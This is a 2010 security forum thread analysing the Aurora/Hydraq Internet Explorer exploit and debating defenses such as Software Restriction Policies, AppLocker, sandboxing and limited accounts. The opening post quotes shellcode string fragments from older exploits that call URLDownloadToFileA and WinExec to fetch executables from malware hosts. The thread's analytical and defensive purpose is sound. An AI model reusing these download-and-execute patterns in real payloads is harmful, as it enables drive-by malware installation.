Analysis of Trojan.Hydraq , aka "Aurora," against Internet Explorer

Advisories for patches against the exploit that delivers this malware are discussed here:

Microsoft Security Advisory (979352)
https://www.wilderssecurity.com/showthread.php?t=262937

Warning about MS Browsers
https://www.wilderssecurity.com/showthread.php?t=263068

Several analyses of exploits in the wild have surfaced. But first a quick quiz:

Exploits targeting Internet Explorer in the past had as their goal, to:

1) Delete all of your photographs of Aunt Milly
2) Place a script file to format your hard drive
3) Install a trojan to set up a back door

If you chose 3) then you have kept up with the malware scene. And this latest vulnerability is just a trigger to accomplish this same goal. The fancy name, "Aurora" disguises this simple fact.

First:

IExplorer 0day CVE-2010-0249 - Exploit-Comele / Hydraq / Aurora
http://extraexploit.blogspot.com/2010/01/iexplorer-0day-cve-2010-0249.html

"Binary" refers to the executable file called "ad.jpg" which is the trojan.

From McAfee:

http://vil.nai.com/vil/content/v_253210.htm

Second:

If you look at this screenshot from the first article, you can see near the red arrow in the code, urlmon.dll followed by the URL to download the malware.

http://lh6.ggpht.com/_uioOPkGBTsE/S1K4734oXnI/AAAAAAAAApI/SAympIUe_Uk/aurora01[83].png?imgmax=800

While this was a new, unpatched vulnerability at first, nonetheless, the trigger mechanism, urlmon.dll, has been around in exploits for many years, at least to 2003:

Microsoft Security Bulletin MS03-015
http://www.microsoft.com/technet/security/bulletin/ms03-015.mspx

In 2004 came the the animated cursor vulnerability, the .ani file. Typical code:

Code:

GetProcAddress_LoadLibraryA_GetSystemDirectory
A_urlmon.dll_URLDownloadToFileA_WinExec_http://intimatephotoalbum.net/web.exe

Later, some variants of the Windows Metafile vulnerability, the .wmf file, used the same code:

Code:

urlmon.dll_URLDownloadToFileA_http://xxxxxx.net/gts.php

Continuing PDF exploits have the same mechanism:

Code:

URLMON.DLL. URL DownloadToFileA._http://XXXXXX.cn/load.php?id=4

Here is a screenshot of an analysis of an infected PDF file showing the same urlmon.dll code, followed by the URL for the malware:

​

What does urlmon.dll do?

If you attempt to download an executable file from the internet, the browser will prompt by default:

​

But if the user clicks on a link that has a urlmon.dll code embedded, there is no download prompt.

From the above MS Technet Bulletin:

Other security can intervene to stop an unauthorized executable file in case there is a failure to check. Here, the old .ani file exploit - notice the .ani in the status bar:

Code:

urlmon.dll_URLDownloadToFileA_WinExec_http://intimatephotoalbum.net/win32.exe

​

So, this type of exploit is nothing new. Malware authors have just found a different vulnerability which allows the execution of tried and true code that will install a trojan executable file.

That's what has surfaced so far.

McAfee notes this:

Operation "Aurora" Hit Google, Others
http://siblog.mcafee.com/cto/operation-“aurora”-hit-google-others/

If these other attack vectors have the same type of executable payload, it can be blocked in any case with proper security in place.

From McAfee:

“Aurora” Exploit In Google Attack Now Public
http://siblog.mcafee.com/cto/“aurora”-exploit-in-google-attack-now-public/

regards,

-rich

 

Good read, Rich! As usual it all comes down to "If it can't execute it can't infect".

 

Or one can save their money and just use SRP/AppLocker.

 

Please note that your quote should be attributed to McAfee, and not to me.

I hoped that it would be noticed by most regulars at Wilders that Whitelisting is being recommended by a primarily Antivirus company. And McAfee is not the only one which is delving into this type of security.

Your mention of SRP/APPLocker brings up another point about this exploit, in that its original targets are organizations - the so-called targeted exploit.

Hydraq - An Attack of Mythical Proportions
http://www.symantec.com/connect/blogs/hydraq-attack-mythical-proportions

In these situations, the rule, not to open attachments or click on links from unknown people, doesn't apply, since it's common to receive emails from prospective clients, who might be sending a MSOffice or PDF document.

Ironically, as you point out, a simple Software Restriction Policy would prevent the trojan executable from installing as the back door. Unfortunately, most organizations don't restrict their users from installing their own software, hence, the success of the remote code execution exploits.

On a side note: Peter2150 and I have discussed this in an earlier thread some time ago, and his solution is Sandboxie, so that his office employees don't have to worry about the above scenario.

Finally, SRP/APPLocker are not available on the Home editions of Win XP/Vista/7, meaning that those users interested in Whitelisting must seek out another solution.

regards,

-rich

 

Microsoft recommends the whitelist approach for setting up AppLocker rules. It makes sense; if it's not on the list, it can't execute (it's denied).

 

Yes, I know. I just didn't feel like having to use a quote within a quote.

Whitelisting is far more effective than the decrepit and ineffective model of blacklisting (signatures) that these companies have made billions from for so long. I think these companies know this and know that more and more people are losing faith (and rightfully so) in the AV model.

That's due to a couple of reasons: a) most admins are idiots and don't know what SRP is and b) the competent admins know that SRP can be a PITA since it does not have publisher rules. This means one is constantly having to update rules every time an app is updated, etc.. AppLocker fixes this, but it's only for Windows 7.

Sandboxing would work well too (Google Chrome sandboxes by default). A sandboxed browser in conjunction with a strict SRP/AppLocker whitelist will provide about as good of security as Windows allows.

This is something that irks me. Microsoft and all of its "versions" of Windows is just insane. It wouldn't be so bad if not for the fact that some of the features left out of Home editions are indeed security features (AppLocker and BitLocker come to mind). I think this is irresponsible.

 

Well, I hope not most! The system admins I've known (albeit just a few) are quite competent and do understand SRP. However, that last part of my comment about restricting users wasn't just limited to SRP. So, I would like to expand on that a bit.

Ultimately, it's the CEO and not the System Administrator who is responsible for the security of the organization. When the share holders/board of directors of those organizations which were exploited by Trojan.Hydraq come calling for explanations, they will go straight to the top.

I've known of cases where a System Administrator has wanted to lock down the network to prevent unauthorized installation of programs, but can't get the support of Management. A sad case appeared here last year, where a System Administrator was asking for suggestions for anti-malware signature/heruistic solutions for his organization. After some questioning, it was revealed that the users ran as Adminstrators and could install anything. Problems arose when some were tricked into installing rogue AV products. The poor soul didn't have the backing of Management to set up proper security.

In discussions with some ISC Handlers at sans.org I've learned that many System Adminstrators agree that such restrictions would result in "an unhappy work force."

The technology is there, and not only SRP; it just requires a firm policy from management, such as in this organization:

My experience with several educational institutions is similar. In these organizations, there is no way any remote code execution exploit can install a trojan executable and set up a back door.

How many more such exploits as this "Aurora" thing must occur before people realize what security measures are necessary -- who knows?

I've always appreciated that Microsoft offers a less expensive Home version. The average people I've dealt with -- "Mr. and Mrs. Smith next door" -- are fortunate to understand instructions on how to set up email, browse the web etc. It's just too technically complicated for them to learn/understand/implement Software Restriction Policies. Could that be the reason SRP/APLocker are not included in the Home versions?

regards,

-rich

 

MS' target audience for AppLocker, and most certainly SRP as well, are system administrators. However, it goes without saying they make terrific security layers for home pc's. Maybe MS could have included these features in their home versions with a user friendly setup wizard for those who lack the technical aptitude.

 

May your dreams come true.
They are not even willing to offer an alert for outbound connections with their Windows Firewall.
Not with Vista and not with 7.
Seems like whatever may lead to a support request gets eliminated from their terrific security.

However, thanks Rmus for informations about the latest IE Waterloo.

Cheers

 

True. I consider that an inexcusable omission on their part.

 

While I of course agree with you about the benefits of whitelisting, I would point out that the lack of AppLocker style publisher rules certainly does not mean users of SRP have to constantly update their SRP rules every time an app is updated. Instead, they can simply use path rules to allow for example Program Files folder, in which case anything installed there, including new versions of software, is automagically allowed, no updating of rules needed. And no, that isn't insecure, assuming users are given limited user accounts, which can't write in Program Files. And if one is giving users admin accounts, then SRP is very limited in usefulness anyway (and so is AppLocker, since admins can just override it if they want).

Me, I know businesses that use SRP and practically never update their rules, because they install their software updates into whitelisted folders like Program Files and make their users limited users, so they can't add evil stuff in those whitelisted folders.

But yes, I do like AppLocker better.

Well, we ought to remember that MS makes their OS not for security forumists or IT professionals only, but also for Joe Average who doesn't know what SCSI is and certainly wouldn't know how file permissions work or whether svchost.exe needs internet access. Therefore MS doesn't throw stuff at the user that they are unlikely to understand - like outbound firewall alerts, file permissions or SRP. Professionals or those who otherwise happen to know about it can make use of more demanding features, like SRP, in the OS versions designed for said groups instead of the simplified Home versions. I'm not saying that I personally like it, I'm just saying that MS does have a pretty decent reason for doing that, considering their target audience.

 

Maybe I'm missing something. Rmus seems to be saying that this isn't very much new. Schneier seems to be saying, and linking to articles that say, something quite different.

http://www.schneier.com/blog/archives/2010/01/google_vs_china.html

Wuthering Heights

 

This is both "new" and "old" on several levels

NEW

Google Hack Attack Was Ultra Sophisticated, New Details Show
http://www.wired.com/threatlevel/2010/01/operation-aurora/

NEW

An Insight into the Aurora Communication Protocol
http://www.avertlabs.com/research/b...sight-into-the-aurora-communication-protocol/

Obfuscation (disguising) and Encryption are not really new techniques found in malware, but the sophisticated use of them takes this exploit up to a different level.

OLD

Exploit code available for CVE-2010-0249
http://isc.sans.org/diary.html?storyid=8002

The use of Windows DLLs as vulnerability points goes back many years, as I point out in the first post. These vulnerabilities open the door to the use of the urlmon.dll method of downloading the malware, which was one of the inroads to the compromised systems.

OLD

Google Hack Attack Was Ultra Sophisticated, New Details Show
http://www.wired.com/threatlevel/2010/01/operation-aurora/

OLD

Hack of Google, Adobe Conducted Through Zero-Day IE Flaw
http://www.wired.com/threatlevel/2010/01/hack-of-adob

It's been said that while the sophistication of malware increases, the tried and true delivery methods remain the same. It's a sad commentary on the state of security in organizations when these very obvious/old methods are still successful.

OLD

Cyber Espionage: Death by 1000 Cuts
http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20100119

Do a search for industrial cyber espionage for an evening of interesting reading.

----
rich

 

The Register writes that:

More at above link.

 

Nice info, thanks.

This free BHO could help.

"Trend Micro To Help Proactively Protect Against Zero-Day Attacks like the recent IE Explorer Exploit

The recent attacks on Google and other large organizations (currently being referred to by others as Aurora, Google Attacks, Hydraq) were a set of carefully orchestrated, sophisticated and highly complex attacks.

Browser Guard protects by detecting buffer overflow and heap spray attempts as well as shellcode, thereby protecting users ahead of the threat."

http://blog.trendmicro.com/trend-mi...y-attacks-like-the-recent-ie-explorer-exploit

 

McAfee has a stinger tool designed to target Aurora exploits, I have been notified by other security experts that use of the tool has helped others eradicate the exploit.

 

Rmus, I noticed bluepoint security has provided a write-up on this vulnerability.

They also show the 'workings' of the aurora exploit/threat in a short clip and that it was able to be blocked from day one.

It's interesting to watch how easy a user can be compromised, the vulnerability allows screenshots to be taken, malware to be loaded and so on.

Video link within document
http://www.bluepointsecurity.com/node/111


Also accessible at youtube.

 

That is a nice demonstration!

From the article:

It might have included the fact that such endpoint protection against the dropping of designer malware has been available in the Windows Operating System since Windows XP from nine years ago in 2001. Here is Software Restriction Policies in action against an IE exploit:

​

From the Pete Seeger song,

----
rich

 

Another read:
http://www.darkreading.com/security/vulnerabilities/showArticle.jhtml?articleID=222301436

Regarding using software restriction policies to prevent/block the Aurora exploit, I sent an email to a software developer who mentioned that SRP will not prevent exploitation with this particular vulnerability.

The exploit takes place inside of Internet Explorer's memory space (iexplore.exe). Further, even with SRP fully enabled, screenshots/keylogging etc can still occur while in iexplore.exe's memory space.

Interesting to see how this develops. Hopefully someone with the exploit/SRP can do some tests.

 

About sandboxie, would it protect the user only once the sandbox was emptied/discarded, or could screenshots, keylogging, still occur while user was browsing (sandboxed)?

 

There may be some confusion here as to what SRP actually does. It doesn't block any exploits. It doesn't even try to do so. If you run a vulnerable IE version and meet one of these "Aurora" exploits, then the exploit will run and SRP will do nothing, since IE is an allowed process (or otherwise you wouldn't be able to use it). So, the exploit shell code runs, but then what? What does the shell code try to do? Well, according to various articles that say the usual stuff, it drops malware executables on the system and tries to get them executed. According to McAfee ( http://vil.nai.com/vil/content/v_253210.htm ):

And this is the point where SRP might actually do something, such as block the malicious b.exe from being executed. And if that is blocked, then that's it. No additional malware is downloaded, the system doesn't get infected and there will be no keylogging unless McAfee and guys are just mistaken. The keylogging isn't done by the exploit shell code - it's done by the malicious executables that the shell code tries to get on the system. And if those can't start, then nothing happens.

But then, that's not the only problem. Since no-one is talking about it, it would seem the Aurora attacks did not use privilege escalation vulnerabilities. In that case, if you run as a limited user, even without SRP, the malware can't infect your system. The malware tries to create HKLM registry keys to run itself and save its executables, apart from the initial dropper exe, to system folders. And limited users can't do that. At worst, the limited user account itself will be infected, but the malware won't gain admin rights. But again, I haven't seen any sign that the malware actually can infect a limited user account: the initial dropper exe can run, but chances are it will just hang or die after it tries to drop stuff in system folders where LUA can't write and fails. But, if it's smart, it'll try to save its stuff in some folder where LUA can write, and go from there, creating HKCU run keys to run whenever that limited account logs in. However, that won't get the malware full access to the system. Just access to one limited user account.

 

It may be the same developer who contacted me with this information.

I responded that I was unaware that the shell code did anything besides download a malware executable, trojan.hydraq, and that if he/his company had indeed found otherwise in their analysis of this exploit, I hoped that he would post such on their website.

When this exploit first hit the news, all of the sites with the exploit had been taken down, so I was unable to test (or have someone else test). Therefore, I depended on the few analyses that did show what the exploit did -- refer back to my first post for discussion/references.

Also in my first post I presented a silly quiz to highlight the fact that all of the exploits in the wild have pretty much the same goal: shell code exploits a vulnerability (MSHTML.DLL in IE in this case) to get a malware executable onto the computer. At this point, SRP would indeed catch the culprit, as Windchild explains very well.

ADDITIONAL REFERENCE

“Aurora” exploit code: from Targeted Attacks to Mass Infection.
http://www.eset.com/threat-center/b...-code-from-targeted-attacks-to-mass-infection

regards,

-rich

 

Interesting thread guys.

I thought this was fairly ominous reading:
Anatomy Of A Targeted, Persistent Attack

The second page has a list of actions/vectors
http://www.darkreading.com/database_security/security/attacks/showArticle.jhtml?articleID=222600139

 

Rich and Windchild thank you both for your feedback and detailed explanations. Appreciate the effort put into your posts.

Longboard, mind-blowing stuff. Some comments that reinforce the number of companies that would be currently exposed, but totally unaware:

Screenshot of seven stages of attack (for those that miss the link Longboard posted).